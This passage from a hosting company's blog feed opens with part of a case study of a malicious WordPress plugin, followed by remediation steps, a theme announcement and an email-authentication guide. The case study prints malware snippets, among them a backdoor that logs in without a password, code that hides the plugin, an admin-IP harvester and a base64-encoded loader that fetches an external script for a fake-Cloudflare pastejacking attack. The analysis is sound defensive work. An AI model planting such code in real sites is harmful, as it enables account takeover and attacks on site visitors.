&lt;p&gt;Hooked to the &lt;code&gt;init&lt;/code&gt; action (running on every page load), this function listens for a user ID and a hardcoded secret key GET parameters in the URL. If the correct key is provided, it calls &lt;code&gt;wp_set_auth_cookie()&lt;/code&gt; and logs the attacker in as that user &lt;strong&gt;without a password&lt;/strong&gt;.&lt;/p&gt;
&lt;h5 id=&quot;backend-invisibility&quot;&gt;Backend invisibility&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;function extent_sanity_svelte_fray($plugins)
{
    $temp = &quot;emotional_haversack/emotional_haversack.php&quot;;

    if (isset($plugins[$temp])) {
        unset($plugins[$temp]);
    }

    return $plugins;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To avoid detection, the plugin renders itself invisible within the WordPress dashboard.&lt;/p&gt;
&lt;p&gt;The function hooks into the &lt;code&gt;all_plugins&lt;/code&gt; filter, intercepts the list of plugins before display and removes itself from the list of plugins displayed in the admin dashboard.&lt;/p&gt;
&lt;p&gt;Now, the plugin is fully active but does not appear in the list of installed plugins, making it a “ghost.”&lt;/p&gt;
&lt;h4 id=&quot;phase-3-reconnaissance--cloaking-the-stealth-engine&quot;&gt;Phase 3: reconnaissance &amp;#x26; cloaking (the stealth engine)&lt;/h4&gt;
&lt;p&gt;This is the malware’s most sophisticated feature, allowing it to hide the payload from site owners.&lt;/p&gt;
&lt;h5 id=&quot;harvesting-admin-ips&quot;&gt;Harvesting admin IPs&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;function amendment_majestically_neck() {
    global $wpdb;
    
    $results = $wpdb-&gt;get_results(&quot;
        SELECT um.meta_value as session_data
        FROM {$wpdb-&gt;usermeta} um
        INNER JOIN {$wpdb-&gt;usermeta} um2 ON um.user_id = um2.user_id
        WHERE um.meta_key = &apos;session_tokens&apos;
        AND um2.meta_key = &apos;wp_capabilities&apos;
        AND (um2.meta_value LIKE &apos;%administrator%&apos; OR um2.meta_value LIKE &apos;%editor%&apos;)
        AND um.meta_value != &apos;&apos;
    &quot;);
    
    return array_unique($temp);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before delivering its payload, the malware needs to know who to hide from.&lt;/p&gt;
&lt;p&gt;Through a direct SQL query, the function identifies all &lt;code&gt;administrator&lt;/code&gt; and &lt;code&gt;editor&lt;/code&gt; users and extracts the IP addresses from their active &lt;code&gt;session_tokens&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The list of IP addresses is then cached for five minutes using the Transients API.&lt;/p&gt;
&lt;h5 id=&quot;the-cloaking-decision-engine&quot;&gt;The cloaking decision engine&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;function vanish_commodity_closely() {
    $main = babushka_frightfully();
    $temp = cripple_platypus();
    
    return in_array($main, $temp);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This function is the core of the cloaking mechanism. It compares a visitor’s current IP against the cached list of admin IPs, returning &lt;code&gt;true&lt;/code&gt; if the visitor is an admin.&lt;/p&gt;
&lt;p&gt;This prevents the payload delivery script from being shown if the visitor is an admin.&lt;/p&gt;
&lt;h4 id=&quot;phase-4-payload-delivery-the-final-strike&quot;&gt;Phase 4: payload delivery (the final strike)&lt;/h4&gt;
&lt;p&gt;The culmination of all these efforts is the delivery of the malicious payload to unsuspecting visitors.&lt;/p&gt;
&lt;h5 id=&quot;the-gatekeeper&quot;&gt;The gatekeeper&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;function deliberately_noteworthy_digitize()
{
    $temp = &apos;aHR0cHM6Ly9qYXZhc2NyaXB0YmFzaWNzLmNvbS9xTDQ3SzYwbFA1Y1ZVa3R5R2Z3cDFYYm51MEJIYU9jVkw3MGtpRDFLYmJE&apos;;
    wp_register_script(&apos;suddenly_really_list&apos;, base64_decode($temp), array(), null, false);
    wp_enqueue_script(&apos;suddenly_really_list&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hooked to &lt;code&gt;wp_enqueue_scripts&lt;/code&gt;, this function acts as the final gatekeeper.&lt;/p&gt;
&lt;p&gt;The script is only injected if all cloaking conditions are met (the visitor is not an admin, not on a login page, not using the backdoor URL, and their IP is not on the admin list).&lt;/p&gt;
&lt;h5 id=&quot;the-malicious-payload&quot;&gt;The malicious payload&lt;/h5&gt;
&lt;p&gt;If a visitor passes all checks, the final payload is executed. A Base64 string is decoded to reveal an external JavaScript URL (&lt;code&gt;https://javascriptbasics.com/[...]&lt;/code&gt;), which is then injected into the page via &lt;code&gt;wp_enqueue_script&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This script is responsible for the final pastejacking attack, displaying the fake Cloudflare verification page with the message &lt;strong&gt;Ususual Web Traffic Detected&lt;/strong&gt; and the request to verify that you are a legitimate user.&lt;/p&gt;
&lt;h5 id=&quot;the-art-of-misdirection&quot;&gt;The art of misdirection&lt;/h5&gt;
&lt;p&gt;Beyond its core functions, the malware is a masterclass in misdirection.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Generative gibberish:&lt;/strong&gt; Every file, function, and variable name is a nonsensical combination of words, making the code unreadable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The decoy arsenal:&lt;/strong&gt; The plugin directory is populated with non-functional &lt;code&gt;.js&lt;/code&gt; files (containing fatal syntax errors), &lt;code&gt;.json&lt;/code&gt; and &lt;code&gt;.css&lt;/code&gt; files (with duplicated, nonsensical code), and simple &lt;code&gt;.png&lt;/code&gt; images. Their sole purpose is to act as “set dressing,” making the plugin’s structure appear legitimate.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;full-remediation--hardening-protocol&quot;&gt;Full remediation &amp;#x26; hardening protocol&lt;/h2&gt;
&lt;p&gt;Identifying and removing this threat requires a methodical approach.&lt;/p&gt;
&lt;h3 id=&quot;step-1-identification&quot;&gt;Step 1: Identification&lt;/h3&gt;
&lt;p&gt;Due to the polymorphic nature of this malware, do not rely on a single filename. Search for the &lt;strong&gt;patterns and IoCs&lt;/strong&gt; listed above, especially a plugin with a random name and a Latin description.&lt;/p&gt;
&lt;p&gt;PHP errors referencing a missing &lt;code&gt;include&lt;/code&gt;, &lt;code&gt;function not found&lt;/code&gt; or &lt;code&gt;invalid function name&lt;/code&gt; from a strange plugin is often the first symptom.&lt;/p&gt;
&lt;p&gt;If your hosting provider has a malware scanner, it will probably detect and clean the infection, leading to errors like &lt;code&gt;&quot;The white screen of death&quot;&lt;/code&gt; or &lt;code&gt;&quot;There&apos;s been a critical error on your website.&quot;&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&quot;step-2-full-removal&quot;&gt;Step 2: Full removal&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Delete the plugin directory:&lt;/strong&gt; Manually delete the entire plugin directory (e.g., &lt;code&gt;emotional_haversack/&lt;/code&gt;, &lt;code&gt;forceful_premise/&lt;/code&gt;) via FTP or SSH.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inspect for persistence:&lt;/strong&gt; Check &lt;code&gt;wp-config.php&lt;/code&gt;, &lt;code&gt;.htaccess&lt;/code&gt;, and &lt;code&gt;wp-content/uploads/&lt;/code&gt; for any suspicious files or modifications.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Verify user accounts:&lt;/strong&gt; Audit all administrator accounts in the database.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;step-3-post-hack-security-measures&quot;&gt;Step 3: Post-hack security measures&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Reset all secrets:&lt;/strong&gt; Immediately reset all WordPress admin passwords, database passwords, FTP/SFTP passwords, and hosting passwords.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Force logout all users:&lt;/strong&gt; Invalidate all current login sessions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Update everything:&lt;/strong&gt; Ensure WordPress core, themes, and all remaining plugins are on their latest versions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;step-4-long-term-prevention&quot;&gt;Step 4: Long-term prevention&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Never use pirated (“nulled”) premium themes and plugins.&lt;/strong&gt; Purchase legitimate licenses to support developers and ensure your site’s security.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Perform regular audits:&lt;/strong&gt; Use a trusted security plugin to perform regular file integrity scans and malware checks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Maintain proper digital hygiene.&lt;/strong&gt; Install an antivirus or antimalware program on your computer, keep your OS and browser updated, don’t use browser extensions from untrusted sources, avoid free public Wi-Fi, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;We will publish a more in-depth security guide for site owners, so follow Kiravo on social media (&lt;a href=&quot;https://www.linkedin.com/company/kiravohosting/&quot;&gt;LinkedIn&lt;/a&gt;, &lt;a href=&quot;https://www.facebook.com/kiravohosting&quot;&gt;Facebook&lt;/a&gt;, &lt;a href=&quot;https://x.com/kiravohosting&quot;&gt;X&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/@kiravohosting&quot;&gt;YouTube&lt;/a&gt;) to keep up with our updates.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;This case highlights the importance of a defense-in-depth security strategy.&lt;/p&gt;
&lt;p&gt;Automated server-side security, like that deployed on the Kiravo hosting platform, provides an essential first line of defense, capable of detecting and neutralizing threats in real time.&lt;/p&gt;
&lt;p&gt;While disruptive, the fatal errors triggered by our system’s intervention ultimately were a positive signal that the malicious code had been stopped.&lt;/p&gt;
&lt;p&gt;However, complete security is a shared responsibility. By combining proactive hosting security with responsible user practices, we can create a much safer and more resilient environment for everyone in the WordPress ecosystem.&lt;/p&gt;</content:encoded><category>Case Studies</category><author>Andrei Chira</author></item><item><title>Introducing the Simplenet WordPress block theme</title><link>https://kiravo.net/blog/introducing-simplenet-wordpress-block-theme/</link><guid isPermaLink="true">https://kiravo.net/blog/introducing-simplenet-wordpress-block-theme/</guid><description>Our first WordPress.org-listed theme is live. What Simplenet does as a lightweight block theme, who it&apos;s for, and what&apos;s coming next.</description><pubDate>Mon, 27 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We are starting 2025 with a significant achievement: our first WordPress theme, &lt;strong&gt;Simplenet&lt;/strong&gt;, has been accepted into the official &lt;a href=&quot;https://wordpress.org/themes/kiravo/&quot;&gt;WordPress.org&lt;/a&gt; repository!&lt;/p&gt;
&lt;p&gt;This accomplishment holds special meaning for me, considering that I am not a programmer, and the process of creating a theme from scratch has been a true learning adventure.&lt;/p&gt;
&lt;p&gt;I’ve been working with WordPress since around 2008-2009. Over the years, the platform has evolved tremendously, and with the introduction of the Gutenberg project in 2017, I had to relearn WordPress.&lt;/p&gt;
&lt;p&gt;I began exploring and learning all the new features introduced in Gutenberg related to blocks, block themes, block patterns, and configuring WordPress themes through theme.json.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;Simplenet&lt;/strong&gt; theme is the result of this learning process. I was inspired by other existing themes and tried to understand how the structure of a block theme works.&lt;/p&gt;
&lt;h2 id=&quot;what-the-simplenet-theme-offers&quot;&gt;What the Simplenet theme offers&lt;/h2&gt;
&lt;p&gt;Simplenet is a minimalist, fast, and easy-to-customize theme created to fully leverage the power of WordPress blocks. It is perfect for users who want a simple yet elegant website without unnecessary embellishments.&lt;/p&gt;
&lt;p&gt;Some of its main features include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Full compatibility with the WordPress block editor&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;A clean and responsive design suitable for various types of websites&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;18 color styles based on Tailwind CSS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Dark mode compatibility&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;block-theme&quot;&gt;Block theme&lt;/h3&gt;
&lt;p&gt;The theme is a &lt;strong&gt;block theme&lt;/strong&gt;, a new type of WordPress theme introduced with the Full Site Editing (FSE) editor. These are built around the concept of blocks, offering users the ability to customize every aspect of the site using the visual interface of the WordPress block editor.&lt;/p&gt;
&lt;p&gt;Unlike traditional themes, which rely on PHP files for templates and customization, block themes use a theme.json file to control global styles, such as colors, fonts, and sizes.&lt;/p&gt;
&lt;p&gt;Block themes allow editing the entire site directly from the WordPress editor without requiring programming knowledge. Users can modify the header, footer, pages, and other sections of the site in real-time, simply by arranging blocks.&lt;/p&gt;
&lt;h3 id=&quot;colors&quot;&gt;Colors&lt;/h3&gt;
&lt;p&gt;&lt;img alt=&quot;Color variations&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;650&quot; height=&quot;427&quot; src=&quot;https://kiravo.net/_astro/style-variations-simplenet-650x427.D5uONiYZ_25prlH.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;One feature of the Simplenet theme is the inclusion of 18 color style variations inspired by the well-known palette from Tailwind CSS. These variations are designed to offer users maximum flexibility in customizing the site, regardless of its type or purpose.&lt;/p&gt;
&lt;p&gt;You can directly select one of the 18 color variations offered by the theme, and in the future, I plan to add font variations to provide users with a wide range of design combinations.&lt;/p&gt;
&lt;h3 id=&quot;dark-mode&quot;&gt;Dark Mode&lt;/h3&gt;
&lt;p&gt;&lt;img alt=&quot;Dark mode&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;  width=&quot;650&quot; height=&quot;427&quot; src=&quot;https://kiravo.net/_astro/dark-mode-simplenet-650x427.B5egf8T8_inXCd.webp&quot; &gt;&lt;/p&gt;
&lt;p&gt;All 18 variations are fully compatible with &lt;strong&gt;dark mode&lt;/strong&gt;, offering a modern experience to users who prefer this viewing mode.&lt;/p&gt;
&lt;p&gt;To use Dark Mode, you need to install the &lt;a href=&quot;https://wordpress.org/plugins/dark-mode-toggle/&quot;&gt;Dark Mode Toggle Block&lt;/a&gt; plugin created by Rich Tabor and add the Dark Mode Toggle block to the header. I will soon create a video tutorial on how to implement Dark Mode.&lt;/p&gt;
&lt;h2 id=&quot;future-plans-for-the-simplenet-theme&quot;&gt;Future plans for the Simplenet theme&lt;/h2&gt;
&lt;p&gt;Adding the theme to the official WordPress.org repository is just the beginning of the Simplenet theme. I have big plans for its development to bring more value to WordPress users in general and to our clients in particular.&lt;/p&gt;
&lt;p&gt;Here’s what’s next:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;YouTube Video Tutorials&lt;/strong&gt; – I will create a series of videos showing how to create various sections on a site using blocks. For example, I will explain step by step how to build:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Hero sections&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Pricing tables&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Testimonial sections&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;etc.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Adding block patterns&lt;/strong&gt; – After creating these tutorials, I will include the respective sections in the theme as block patterns. These will be ready for anyone who downloads and installs the theme. I will update the theme with each new addition so users can effortlessly benefit from new functionalities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adding more font combinations&lt;/strong&gt; – I plan to include predefined font combinations to offer users more options for customizing the site’s design.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Creating page templates&lt;/strong&gt; – I will develop predefined templates for pages so that users can set up their site’s structure more quickly. For example, ready-made pages for Home, About Us, Services, etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Creating an Onboarding plugin&lt;/strong&gt; – To help users quickly create a new site using the integrated templates, colors, and fonts, I plan to develop an onboarding plugin to guide them through the initial setup process.&lt;/p&gt;
&lt;p&gt;I am excited about these plans and look forward to implementing them to enhance the Simplenet theme and provide an even better experience for our users.&lt;/p&gt;
&lt;p&gt;These are the plans with the Simplenet WordPress theme. If you use the Simplenet theme, I invite you to leave me feedback and suggestions to make it even better.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://wordpress.org/themes/kiravo/&quot;&gt;Download the theme from WordPress.org&lt;/a&gt;, or you can easily install it directly in the WordPress admin interface of the Themes &gt; Add New section.&lt;/p&gt;</content:encoded><category>WordPress</category><author>Elena Chira</author></item><item><title>How to prevent your emails from ending up in spam</title><link>https://kiravo.net/blog/prevent-emails-spam/</link><guid isPermaLink="true">https://kiravo.net/blog/prevent-emails-spam/</guid><description>Why legitimate emails get marked as spam, and the SPF, DKIM, DMARC, and content fixes that get your messages back into the inbox.</description><pubDate>Wed, 13 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Have you sent an important email to a client or supplier but have not heard back? Your email may have ended up in the recipient’s Spam folder. Your essential email is lost among hundreds of spam messages.&lt;/p&gt;
&lt;p&gt;Email deliverability is not a precise science, which can irritate senders of all kinds. For various reasons, such as your authentication status or your email server’s reputation, you may unintentionally end up in the spam folder.&lt;/p&gt;
&lt;p&gt;We’ve all been in this situation and know how frustrating it can be. But with a few simple steps, you can prevent your emails from ending in spam and ensure your messages reach the recipient’s inbox.&lt;/p&gt;
&lt;p&gt;To solve a problem, we must first define the problem correctly, and in this case, that means understanding why certain emails are marked as spam.&lt;/p&gt;
&lt;h2 id=&quot;why-do-emails-end-up-in-spam&quot;&gt;Why do emails end up in spam?&lt;/h2&gt;
&lt;p&gt;Most email services use automatic filters to separate legitimate emails from spam. These filters analyse various aspects of an email, such as content, subject, sender and others.&lt;/p&gt;
&lt;p&gt;Due to the increase in spam, mail server filters have become very strict, and every domain owner should manage their domain reputation to ensure that emails sent from that domain reach the recipient’s inbox.&lt;/p&gt;
&lt;p&gt;Mail servers can classify emails as spam due to several elements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;lack of authorisations and validations (SPF, DKIM, DMARC)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; mass mailing&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; Based on the content or preferences of the recipients, if the emails are not read repeatedly, are deleted without being read or are marked as spam, email servers learn these preferences and start filtering them as spam.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both Gmail and Yahoo announced as early as October 2023 that starting in February 2024, they would further increase the strictness of their filters, affecting all emails sent to addresses belonging to Gmail and Yahoo.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.google/products/gmail/gmail-security-authentication-spam-protection/&quot;&gt;Gmail announcement&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.postmaster.yahooinc.com/post/730172167494483968/more-secure-less-spam&quot;&gt;Yahoo announcement&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Things that until now were only considered good practices will now become mandatory to ensure that the emails we send do not end up in spam. These are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Email authentication using DKIM, SPF and DMARC.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; Reducing spam and maintaining a spam complaint rate below 0.3%.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; Allow people to unsubscribe by clicking a single link and honour unsubscribes within two days.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; RFC 5322 compliance, PTR records, rDNS&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; Make sure your sending server IP addresses have valid reverse DNS records.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; Use a TLS connection for email transmission.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;how-do-you-stop-your-emails-from-being-marked-as-spam&quot;&gt;How do you stop your emails from being marked as spam?&lt;/h2&gt;
&lt;p&gt;The most important thing to do is to make sure that all emails sent on behalf of your domain are sent with authentication by valid sources authorised to send email on behalf of the domain.&lt;/p&gt;
&lt;p&gt;You can start by determining who is sending mail on behalf of the domain. Examples of sources that send emails are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;you and your colleagues through mail clients on computers or phones (Outlook, Apple Mail, etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; your website&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; customer management (CRM) application&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; the service that sends newsletters&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; etc.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;1-identification-of-sources&quot;&gt;1. Identification of sources&lt;/h3&gt;
&lt;p&gt;By definition, e-mails sent through mail clients are sent with authentication; when configuring the mail client, you enter the correct data, such as email address, password, incoming/outgoing server, ports, etc. These emails are sent through the mail server that offers you hosting.&lt;/p&gt;
&lt;h4 id=&quot;emails-sent-from-wordpress-sites&quot;&gt;Emails sent from WordPress sites&lt;/h4&gt;
&lt;p&gt;Some sites send emails when someone leaves a comment on the blog.&lt;/p&gt;
&lt;p&gt;Others, such as online stores, also send transactional emails: order notifications, delivery notifications, invoices, etc. These emails are crucial and should reach the recipient’s inbox.&lt;/p&gt;
&lt;p&gt;By default, WordPress sends emails through a PHP function. It can work without problems, especially when the email hosting is on the same server as the website hosting. However, the method could be better because the sending is done without authentication. Hence, the chances of it ending up in spam are high.&lt;/p&gt;
&lt;p&gt;The best practice recommendation is to use a WordPress plugin to send emails via SMTP authentication.&lt;/p&gt;
&lt;p&gt;We use the &lt;a href=&quot;https://wordpress.org/plugins/fluent-smtp/&quot;&gt;FluentSMTP&lt;/a&gt; WordPress plugin to force WordPress not to send emails via the standard method (wp_mail) but via SMTP authentication. This is a more professional method that ensures a better delivery rate.&lt;/p&gt;
&lt;p&gt;The plugin can be configured to send through the domain’s mail server or specialised services such as Sendgrid, Brevo, Amazon SES, SMTP.com, Mailgun, Postmark, etc.&lt;/p&gt;
&lt;h4 id=&quot;customer-relationship-management-crm-application&quot;&gt;Customer Relationship Management (CRM) application&lt;/h4&gt;
&lt;p&gt;Using such a platform, you can send emails to your customers.&lt;/p&gt;
&lt;p&gt;For example, our platform sends emails with invoices, payment notifications, and responses to support tickets. So, emails sent through this application are vital and should not be sent through the standard PHP method without authentication.&lt;/p&gt;
&lt;p&gt;Most platforms have integrated options to set an SMTP server through which to send emails, just as it is set in WordPress through the module presented above.&lt;/p&gt;
&lt;p&gt;We, for example, send these emails through a specialised service - &lt;a href=&quot;https://postmarkapp.com/&quot;&gt;Postmark&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Among the services we tested were Mandrill from Mailchimp, Amazon SES, Google, our email server, Sendgrid, Mailgun, Sendinblue, and Postmark. Postmark is the most expensive ($1.25 per 1000 emails), but it’s the best quality, with the highest inbox delivery rate.&lt;/p&gt;
&lt;h4 id=&quot;newsletter-sending-service&quot;&gt;Newsletter sending service&lt;/h4&gt;
&lt;p&gt;If you use a newsletter service like Mailchimp, its servers will send emails on your (your domain’s) behalf and will need authorisation.&lt;/p&gt;
&lt;p&gt;The sources that send emails are authorised by implementing the necessary DNS entries for validation.&lt;/p&gt;
&lt;h3 id=&quot;2-authorisation-of-sources&quot;&gt;2. Authorisation of sources&lt;/h3&gt;
&lt;p&gt;After establishing the valid sources through which we send emails, the second step is to authorise these sources so that the spam filters of the recipients’ mail servers know that we indeed send the emails on our behalf.&lt;/p&gt;
&lt;p&gt;What we can do here is to implement the necessary DNS entries for the source of the emails to be authorised (SPF, DKIM, DMARC).&lt;/p&gt;
&lt;h4 id=&quot;spf-sender-policy-framework&quot;&gt;SPF (Sender Policy Framework)&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;SPF allows the receiving email server to verify during email delivery that an email purporting to be from a particular domain is sent by a server authorised by that domain’s administrators.&lt;/p&gt;
&lt;p&gt; Wikipedia&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The Sender Policy Framework (SPF) DNS entry is a list of servers (or IPs) authorised to send mail on behalf of our domain.&lt;/p&gt;
&lt;p&gt;Your TXT entry may look like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;v=spf1 include:relay.whmpanels.com -all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By default, only one source is authorised to send mail on behalf of your domain: the Kiravo servers (relay.whmpanels.com).&lt;/p&gt;
&lt;p&gt;If you want to add other sources, such as Postmark and Mailchimp, you can edit the DNS entries from cPanel’s Zone Editor section.&lt;/p&gt;
&lt;p&gt;For example, you can add two more sources authorised to send emails on behalf of your domain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;v=spf1 include:relay.whmpanels.com include:spf.mtasv.net include:servers.mcsv.net -all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, there are three authorised sources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Kiravo servers (relay.whmpanels.com)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Postmark servers (spf.mtasv.net)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Mailchimp servers (servers.mcsv.net)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These entries are made available to you by each provider, and you need to add them.&lt;/p&gt;
&lt;h4 id=&quot;domainkeys-identified-maildkim&quot;&gt;&lt;em&gt;DomainKeys Identified Mail&lt;/em&gt; (DKIM)&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;DKIM allows the recipient to verify that an email purporting to be from a particular domain has been authorised by the owner of that domain. It applies a digital signature associated with a domain name to each email message.&lt;/p&gt;
&lt;p&gt; Wikipedia&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;DKIM is a digital signature used to send mail to the server. This is usually a TXT DNS entry with the name default._domainkey and a value like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;v=DKIM1; k=rsa;p=MIGfMA0GCSqasdkjagdiuagfA4GNADCBiQKBgQCjpd9u4vATaUFwhHVCVuNKNDDKAunbKWSnSTwVNiYjakjahkkUkeMpVqvR7Z2jzNBW1aOf1vxuW+FL4N2+PZNA6Vzk5I3sfsdfsdfmnANSashfayWoOurWm0nvYJg755sQibyYrRB6v3 wuvxUNmsdfsdkfsdjASFnafAmSvmtSZwIDAQAB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Such an entry has already been generated by cPanel to authorise the Kiravo server. This should remain the same.&lt;/p&gt;
&lt;p&gt;Separate TXT entries must be added to authorise other sources. Specialised email services, such as Postmark or Mailchimp, in our example, provide you with these TXT entries to add.&lt;/p&gt;
&lt;p&gt;Other services use other methods; for example, Amazon SES will require you to add 3 CNAME entries for DKIM validation. Each service has documentation and instructions for implementation; if you follow them carefully, you can quickly validate these sources.&lt;/p&gt;
&lt;h4 id=&quot;domain-based-message-authentication-reporting--conformance-dmarc&quot;&gt;Domain-based Message Authentication, Reporting &amp;#x26; Conformance (DMARC)&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;DMARC is an email authentication, policy, and reporting protocol. It relies on SPF and DKIM protocols, adding links to the author’s domain name (“From:”), published policies for handling recipient authentication failures and reporting from receivers to senders to improve and monitor domain protection against e-fraudulent email.&lt;/p&gt;
&lt;p&gt; dmarc.org&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;DMARC is not implemented by default on any email servers; it must be implemented by each site owner for their domain.&lt;/p&gt;
&lt;p&gt;It is the domain owner’s responsibility to manage his sources, authorizations, and source validation or rejection policies.&lt;/p&gt;
&lt;p&gt;Using Cloudflare’s DNS hosting, you can implement DMARC through them with a single click. You can find it in the Email &gt; DMARC Management section. This will add the DNS entry you need for DMARC.&lt;/p&gt;
&lt;p&gt;Another tool, which we also use, you can find here – &lt;a href=&quot;https://dmarc.postmarkapp.com/&quot;&gt;https://dmarc.postmarkapp.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This service provided by Postmark generates a TXT DNS entry that you need to add to your DNS zones. It looks something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;v=DMARC1; p=none; pct=100; rua=mailto:name@domain.com; sp=none; aspf=r;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Values in DMARC can be changed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;p=none can be set as p=quarantine or p=reject&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; pct=100 means that 100% of emails will be filtered; it can be set to a lower value&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt; rua=mailto:name@domain.com will change with your email address, the one you want to receive the reports to&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You will receive reports every month with the emails sent during the past week on behalf of your domain and the sources sending emails on behalf of your domain.&lt;/p&gt;
